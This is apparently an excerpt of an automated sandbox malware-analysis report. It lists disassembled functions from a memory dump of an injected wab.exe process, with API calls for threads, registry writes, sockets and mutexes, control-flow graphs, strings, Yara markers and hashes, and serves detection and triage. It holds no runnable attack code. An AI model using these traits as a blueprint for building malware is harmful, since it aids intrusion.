                                            Function 00404F51 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58timethreadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1375 404f51-404f5f 1376 404f65-404f6c 1375->1376 1377 404fea 1375->1377 1379 404f74-404f7b 1376->1379 1380 404f6e-404f72 1376->1380 1378 404fec-404ff1 1377->1378 1381 404fc0-404fe8 CreateEventA CreateThread 1379->1381 1382 404f7d-404fbb GetLocalTime call 41bb8e call 4052fd call 402093 call 41b4ef call 401fd8 1379->1382 1380->1381 1381->1378 1382->1381
                                            APIs
                                            • GetLocalTime.KERNEL32(00000001,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404F81
                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00474EE0,00475598,?,?,?,?,00415CD6,?,00000001), ref: 00404FCD
                                            • CreateThread.KERNEL32(00000000,00000000,Function_00005150,?,00000000,00000000), ref: 00404FE0
                                            Strings
                                            • KeepAlive | Enabled | Timeout: , xrefs: 00404F94
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Create$EventLocalThreadTime
                                            • String ID: KeepAlive | Enabled | Timeout:
                                            • API String ID: 2532271599-1507639952
                                            • Opcode ID: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                                            • Instruction ID: 982fc92e7e47f2769c776e0d9ab1702947c5453eb715a4cfed9cf45540ca89dc
                                            • Opcode Fuzzy Hash: 27b858f6950e3623d995e23d6d4fe1d77f4f118926dc16c8cee4ff6bd928c013
                                            • Instruction Fuzzy Hash: A8110671904385AAC720A7778C0DEAB7FA8DBD2710F04046FF54163291DAB89445CBBA
                                            Function 0041376F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 38registryCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 1392 41376f-413786 RegCreateKeyA 1393 413788-4137bd call 40247c call 401fab RegSetValueExA RegCloseKey 1392->1393 1394 4137bf 1392->1394 1396 4137c1-4137cf call 401fd8 1393->1396 1394->1396
                                            APIs
                                            • RegCreateKeyA.ADVAPI32(80000001,00000000,?), ref: 0041377E
                                            • RegSetValueExA.KERNEL32(?,004674B8,00000000,?,00000000,00000000), ref: 004137A6
                                            • RegCloseKey.KERNEL32(?), ref: 004137B1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateValue
                                            • String ID: pth_unenc
                                            • API String ID: 1818849710-4028850238
                                            • Opcode ID: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                                            • Instruction ID: c04290829ccef693e4e8b5b7d06cdf9a2950efbbd707a4c1379ff92f90edcb59
                                            • Opcode Fuzzy Hash: 4f15aeb283403f146db3f09acdab1127f952c22a8adcae04a958ae624d8eac3f
                                            • Instruction Fuzzy Hash: B8F06272400118FBCB009FA1DD45DEA376CEF04B51F108566FD09A61A1D7359E14DB54
                                            Function 00404CC3 Relevance: 6.1, APIs: 4, Instructions: 121synchronizationthreadCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00000000,?,00000000,?,?,000000FF,00000000,?,00474F50), ref: 00404DB3
                                            • CreateThread.KERNEL32(00000000,00000000,?,00474EF8,00000000,00000000), ref: 00404DC7
                                            • WaitForSingleObject.KERNEL32(?,000000FF,?,00000000), ref: 00404DD2
                                            • CloseHandle.KERNEL32(?), ref: 00404DDB
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Create$CloseEventHandleObjectSingleThreadWait
                                            • String ID:
                                            • API String ID: 3360349984-0
                                            • Opcode ID: 896836ce6e67791e20d0eed4e42f92f466038b3ea1b67db69a0d6ef4832fab86
                                            • Instruction ID: 465453d6db43d9529954589ba2efa69a6de0eb64d520c2048147815e962fb190
                                            • Opcode Fuzzy Hash: 896836ce6e67791e20d0eed4e42f92f466038b3ea1b67db69a0d6ef4832fab86
                                            • Instruction Fuzzy Hash: 3E4192B1108301AFC714EB62CD55DBFB7EDAFD4314F40093EF992A22E1DB3899098666
                                            Function 00448566 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue), ref: 00448598
                                            • GetLastError.KERNEL32(?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7), ref: 004485A4
                                            • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,0044850D,00000000,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000), ref: 004485B2
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: LibraryLoad$ErrorLast
                                            • String ID:
                                            • API String ID: 3177248105-0
                                            • Opcode ID: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                            • Instruction ID: d5df962f837ff7629ef00c7a8b4dcab40ba3e58d8e4ddb8b40c265455ff02ab4
                                            • Opcode Fuzzy Hash: 03982c6842d6040e15a2f529479e2a2fef9fe475335e7dbaf6b0fa49dfb65394
                                            • Instruction Fuzzy Hash: AA012832602322FBD7214B289C4495B7798AB50B61B20053AFD05D3241DF34CD01CAE8
                                            Function 0040482D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • socket.WS2_32(?,00000001,00000006), ref: 00404852
                                            • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,0040530B,?,?,00000000,00000000,?,?,00000000,00405208,?,00000000), ref: 0040488E
                                              • Part of subcall function 0040489E: WSAStartup.WS2_32(00000202,00000000), ref: 004048B3
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateEventStartupsocket
                                            • String ID: XJ"
                                            • API String ID: 1953588214-1108885617
                                            • Opcode ID: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                                            • Instruction ID: 7af5cc85a36d800a693892934b5c0b91abe86707509305098cc6d5fca1b6a633
                                            • Opcode Fuzzy Hash: afd00016faedd330142d6470bb716eda446324a36170d88fbab64c940495e811
                                            • Instruction Fuzzy Hash: 6E0171B1408B809ED7359F38A8456977FE0AB55304F048D6EF1DA97B91D3B5A881CB18
                                            Function 00414EE9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21networkCOMMON
                                            Download Yara Rule
                                            APIs
                                            • getaddrinfo.WS2_32(00000000,00000000,00000000,XJ",004750E4,00000000,00415188,00000000,00000001), ref: 00414F0B
                                            • WSASetLastError.WS2_32(00000000), ref: 00414F10
                                              • Part of subcall function 00414D86: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                                              • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E17
                                              • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                                              • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                                              • Part of subcall function 00414D86: LoadLibraryA.KERNEL32(?), ref: 00414E76
                                              • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                                              • Part of subcall function 00414D86: FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                                              • Part of subcall function 00414D86: GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Library$AddressProc$FreeLoad$DirectoryErrorLastSystemgetaddrinfo
                                            • String ID: XJ"
                                            • API String ID: 1170566393-1108885617
                                            • Opcode ID: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                                            • Instruction ID: cadd3d9b0d0923a9352550a0b766658ea18523973fceddbfefdc7c35282954d4
                                            • Opcode Fuzzy Hash: 6695e73d4224f512b623112065335d5dbc2e445aee0e7ca71efd6bc9c5f08a3e
                                            • Instruction Fuzzy Hash: 9ED017322015316BD320A769AC01AFBAA9EDBD7771B16003BFA08D3210D6949C8282E8
                                            Function 0040D069 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13synchronizationCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateMutexA.KERNEL32(00000000,00000001,00000000,0040EC08,0000000D,00000033,00000000,00000032,00000000,Exe,00000000,0000000E,00000000,004660BC,00000003,00000000), ref: 0040D078
                                            • GetLastError.KERNEL32 ref: 0040D083
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CreateErrorLastMutex
                                            • String ID: SG
                                            • API String ID: 1925916568-3189917014
                                            • Opcode ID: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                                            • Instruction ID: 95155ffd2f5cf2c34283977deb482d2843c3ccfb5002447f486bda260673b364
                                            • Opcode Fuzzy Hash: 39599091def79051ab742ff046aa9e12e6026389991bc8d246940820909dc324
                                            • Instruction Fuzzy Hash: 18D012B0604701EBD7181770ED5975839959744702F40487AB50BD99F1CBAC88908519
                                            Function 004135A6 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                            • RegQueryValueExA.KERNEL32 ref: 004135E7
                                            • RegCloseKey.KERNEL32(?), ref: 004135F2
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID:
                                            • API String ID: 3677997916-0
                                            • Opcode ID: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                                            • Instruction ID: 357f89d7cd1c8cc036c5e31f86fe90e90b696c4569df010e686479b524d11f87
                                            • Opcode Fuzzy Hash: 047bda59581c7e78827521e08e68fdf793dfebd6250409dd5ae19ad748ced965
                                            • Instruction Fuzzy Hash: 5A01D676900228BBCF209B91DC09DEF7FBDDB84751F000066BB09E2240DA748E45DBA4
                                            Function 004136F8 Relevance: 4.5, APIs: 3, Instructions: 42registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,00000000), ref: 00413714
                                            • RegQueryValueExA.KERNEL32 ref: 0041372D
                                            • RegCloseKey.KERNEL32(00000000), ref: 00413738
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID:
                                            • API String ID: 3677997916-0
                                            • Opcode ID: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                                            • Instruction ID: 3f277cad741e4f631881634228dfc272d65c1146f3ef4f3c344e6cfa7cb73972
                                            • Opcode Fuzzy Hash: 16fdc48d36bb649990d7f6d81c9afeb312c2f40a16629baa57fa9ba92c9a975a
                                            • Instruction Fuzzy Hash: 1C018BB1400229FBDF216FA1DC04DEB3F38EF05751F004065BE08621A1D6358AA5DBA4
                                            Function 0044F3DD Relevance: 4.5, APIs: 3, Instructions: 37COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetEnvironmentStringsW.KERNEL32 ref: 0044F3E1
                                            • _free.LIBCMT ref: 0044F41A
                                            • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044F421
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: EnvironmentStrings$Free_free
                                            • String ID:
                                            • API String ID: 2716640707-0
                                            • Opcode ID: f3c2c49517413e8eabdba28df60095274e0f4285ab7e88089faf331cb05c3344
                                            • Instruction ID: a95b0472bde791e81118f5b212bf6f07b4125f005b99c6aef0626ee370485fe8
                                            • Opcode Fuzzy Hash: f3c2c49517413e8eabdba28df60095274e0f4285ab7e88089faf331cb05c3344
                                            • Instruction Fuzzy Hash: 50E06577144A216BB211362A7C49D6F2A18DFD67BA727013BF45486143DE288D0641FA
                                            Function 00413549 Relevance: 4.5, APIs: 3, Instructions: 37registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413569
                                            • RegQueryValueExA.KERNEL32 ref: 00413587
                                            • RegCloseKey.KERNEL32(?), ref: 00413592
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID:
                                            • API String ID: 3677997916-0
                                            • Opcode ID: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                            • Instruction ID: df0ca7b2621da3f23a966dc0a7f3323316399916f3769291e5945d4ebcba47cd
                                            • Opcode Fuzzy Hash: 1fd388fcba5a36fc4cfbdc9a361dcb97530194601f604bbc1403cef4751c10f9
                                            • Instruction Fuzzy Hash: E8F01776900218FFDF109FA0DC05FEEBBBCEB04B11F1040A6BA09E6191E2359F54AB94
                                            Function 004134FF Relevance: 4.5, APIs: 3, Instructions: 32registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,?), ref: 00413516
                                            • RegQueryValueExA.KERNEL32 ref: 0041352A
                                            • RegCloseKey.KERNEL32(?), ref: 00413535
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseOpenQueryValue
                                            • String ID:
                                            • API String ID: 3677997916-0
                                            • Opcode ID: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                            • Instruction ID: ffaae2385a847085e6fb085aa4760e2a706d619ab1068a3de776aab9102a8dd7
                                            • Opcode Fuzzy Hash: 457a1e9777394aa84a55c62b4c884cbf4b645f8070d1882d45228c3eb86b6271
                                            • Instruction Fuzzy Hash: 46E06D32801238FB9F204FA2DC0DDEB7F6CEF06FA2B000155BD0DA2112E2258E50E6E4
                                            Function 00413877 Relevance: 4.5, APIs: 3, Instructions: 30registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • RegCreateKeyA.ADVAPI32(80000001,00000000,004660A4), ref: 00413885
                                            • RegSetValueExA.KERNEL32(004660A4,000000AF,00000000,00000004,00000001,00000004), ref: 004138A0
                                            • RegCloseKey.KERNEL32(004660A4), ref: 004138AB
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCreateValue
                                            • String ID:
                                            • API String ID: 1818849710-0
                                            • Opcode ID: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                            • Instruction ID: 04a42b38e2882b978ed87177a7d0f50f8458418d63be9de7f69fe35b215911ab
                                            • Opcode Fuzzy Hash: 8a000a4505fdb29c534fdcd469952580260528b50fc1865eb33bc02dff3d936a
                                            • Instruction Fuzzy Hash: 16E06572500318FBEF115F90DC05FEA7B6CDF04B52F1045A5BF09A6191D3358E549798
                                            Function 0044EDC4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 132COMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCPInfo.KERNEL32(5EFC4D8B,?,00000005,?,00000000), ref: 0044EDE9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Info
                                            • String ID:
                                            • API String ID: 1807457897-3916222277
                                            • Opcode ID: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                                            • Instruction ID: 44bbd8f54034b75cb3f6f6e84f1b5a7d7ac270184ed4e74474e217fcd589b3ab
                                            • Opcode Fuzzy Hash: a85cb1b2b9373234b1d7ad287e33ad953b4b977bb3bdbd209019650f1141d576
                                            • Instruction Fuzzy Hash: 74411E705043489AEF218F65CC84AF7BBB9FF45308F2408EEE59A87142D2399E45DF65
                                            Function 00409DE4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _wcslen
                                            • String ID: pQG
                                            • API String ID: 176396367-3769108836
                                            • Opcode ID: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                                            • Instruction ID: e6961f6084f98a1e57a9a6385a58e5d20214d93246a99e64d0d6a4ea431d93e1
                                            • Opcode Fuzzy Hash: 1f3b91536cece4da7108cf24afec647958326f81796985407c04b0a2ae37731c
                                            • Instruction Fuzzy Hash: 8111C3319002059BCB15EF65E8529EF7BB5EF54318B10013FF406A62E2EFB8AD05CB98
                                            Function 00448BB3 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 47COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • LCMapStringW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?), ref: 00448C24
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: String
                                            • String ID: LCMapStringEx
                                            • API String ID: 2568140703-3893581201
                                            • Opcode ID: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                                            • Instruction ID: 91dcaeff4e4508283399e99d6512adb219adb357de156da575c9a111b1dd59a7
                                            • Opcode Fuzzy Hash: 0d5bd11df5ef9a2e9891dfdca4fac69d3ce43e49c64e471a80bfc951609a4a07
                                            • Instruction Fuzzy Hash: 3F016532500209FBCF029F90DC01EEE7F62EF08351F10452AFE0925161CA3A8971AB99
                                            Function 00448710 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Alloc
                                            • String ID: FlsAlloc
                                            • API String ID: 2773662609-671089009
                                            • Opcode ID: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                                            • Instruction ID: c1fb2f6f3e96c04a711f36652bc0978b46922b6b0bac1ff16f6cb7e5114ce70e
                                            • Opcode Fuzzy Hash: b059b7acde134c04013a83b120bbe810436e60e70eecf54d389d9c1387c32ac7
                                            • Instruction Fuzzy Hash: 98E02B30640218E7D700AF65DC16A6EBB94CF48B12B20057FFD0557391DE786D0595DE
                                            Function 00438D94 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22COMMON
                                            Download Yara Rule
                                            APIs
                                            • try_get_function.LIBVCRUNTIME ref: 00438DA9
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: try_get_function
                                            • String ID: FlsAlloc
                                            • API String ID: 2742660187-671089009
                                            • Opcode ID: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                                            • Instruction ID: 997240ade825b32cd49e327dc5ad0f79abc42783939d358afc793268dfa947f7
                                            • Opcode Fuzzy Hash: 5196da0208b4c88d7e80b60f7c4aa489d06214170f9357b8a7661789506c7008
                                            • Instruction Fuzzy Hash: 1FD05B31B8172866861036D56C02B99F654CB45BF7F14106BFF0875293999D581451DE
                                            Function 0041B7B6 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalMemoryStatusEx.KERNEL32(?), ref: 0041B7CA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: GlobalMemoryStatus
                                            • String ID: @
                                            • API String ID: 1890195054-2766056989
                                            • Opcode ID: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                            • Instruction ID: 2d2b64c70bc766df394076410504e3f9c8f669937c614d63c6700d8895b1c70c
                                            • Opcode Fuzzy Hash: 2ff32e62116e468e6d8a54eb6c0bfd9d688f6c12eac0596ef65494206548ed21
                                            • Instruction Fuzzy Hash: E6D017B58023189FC720DFA8E804A8DBBFCFB08210F00456AEC49E3700E770E8008B94
                                            Function 0044F119 Relevance: 3.2, APIs: 2, Instructions: 168COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                            • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,0044EFBA,?,00000000), ref: 0044F18D
                                            • GetCPInfo.KERNEL32(00000000,0044EFBA,?,?,?,0044EFBA,?,00000000), ref: 0044F1A0
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CodeInfoPageValid
                                            • String ID:
                                            • API String ID: 546120528-0
                                            • Opcode ID: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                                            • Instruction ID: 3b7bf12515eb554c774b4e527f81d40cffab4a6430697902d987c8214247c1f3
                                            • Opcode Fuzzy Hash: 0fcd41bea27e2464632381dc73460c859b02871e76ebf75d2761c723038ba765
                                            • Instruction Fuzzy Hash: BB5116749002469EFB24CF76C8816BBBBE5FF41304F1444BFD08687251D6BE994ACB99
                                            Function 0044EF58 Relevance: 3.1, APIs: 2, Instructions: 91COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00448215: GetLastError.KERNEL32(00000020,?,0043A7F5,?,?,?,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B), ref: 00448219
                                              • Part of subcall function 00448215: _free.LIBCMT ref: 0044824C
                                              • Part of subcall function 00448215: SetLastError.KERNEL32(00000000,0043F9A8,?,?,00000020,00000000,?,?,?,0042DD01,0000003B,?,00000041,00000000,00000000), ref: 0044828D
                                              • Part of subcall function 00448215: _abort.LIBCMT ref: 00448293
                                              • Part of subcall function 0044F077: _abort.LIBCMT ref: 0044F0A9
                                              • Part of subcall function 0044F077: _free.LIBCMT ref: 0044F0DD
                                              • Part of subcall function 0044ECEC: GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
                                            • _free.LIBCMT ref: 0044EFD0
                                            • _free.LIBCMT ref: 0044F006
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: _free$ErrorLast_abort
                                            • String ID:
                                            • API String ID: 2991157371-0
                                            • Opcode ID: a74f58cfa5b6bf99b3f3707189d384391efaf1aabf9bbe776bdc743502231ac2
                                            • Instruction ID: 3a29b68b49955ca98559fee15c42126097606514ccea0e67eec2104835090475
                                            • Opcode Fuzzy Hash: a74f58cfa5b6bf99b3f3707189d384391efaf1aabf9bbe776bdc743502231ac2
                                            • Instruction Fuzzy Hash: FD31D531904104BFFB10EB6AD440B9EB7E4FF40329F2540AFE5149B2A1DB399D45CB48
                                            Function 004484CA Relevance: 3.1, APIs: 2, Instructions: 65libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetProcAddress.KERNEL32(00000000,?,00000000,00000000,00000000,?,00448839,00000006,FlsSetValue,0045F160,0045F168,00000000,00000364,?,004482E7,00000000), ref: 0044852A
                                            • __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00448537
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc__crt_fast_encode_pointer
                                            • String ID:
                                            • API String ID: 2279764990-0
                                            • Opcode ID: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                                            • Instruction ID: 198cd69cd453a5762926ca534f03dc7b1e1ac857a4a5158ec5eb6717dc05f104
                                            • Opcode Fuzzy Hash: 8089c10b092d0b8b49c4e4c687cc442f2ac99aa31dc0a9ae19eeba6ee39a8a7d
                                            • Instruction Fuzzy Hash: C3113A37A00131AFEB21DE1CDC4195F7391EB80724716452AFC08AB354DF34EC4186D8
                                            Function 0040165E Relevance: 3.0, APIs: 2, Instructions: 32COMMON
                                            Download Yara Rule
                                            Memory Dump Source
                                            • Source File: 0000000F.00000002.820090093.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_15_2_400000_wab.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID:
                                            • API String ID:
                                            • Opcode ID: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
                                            • Instruction ID: 20740d68f627359004b4f50e822579efa7e6dd26000e0d34fcfb16e84f8f3500
                                            • Opcode Fuzzy Hash: dd3aabd753e8fbc850dd588cbaeb9a0baf8afa37155383fde8690b9b823aeb90
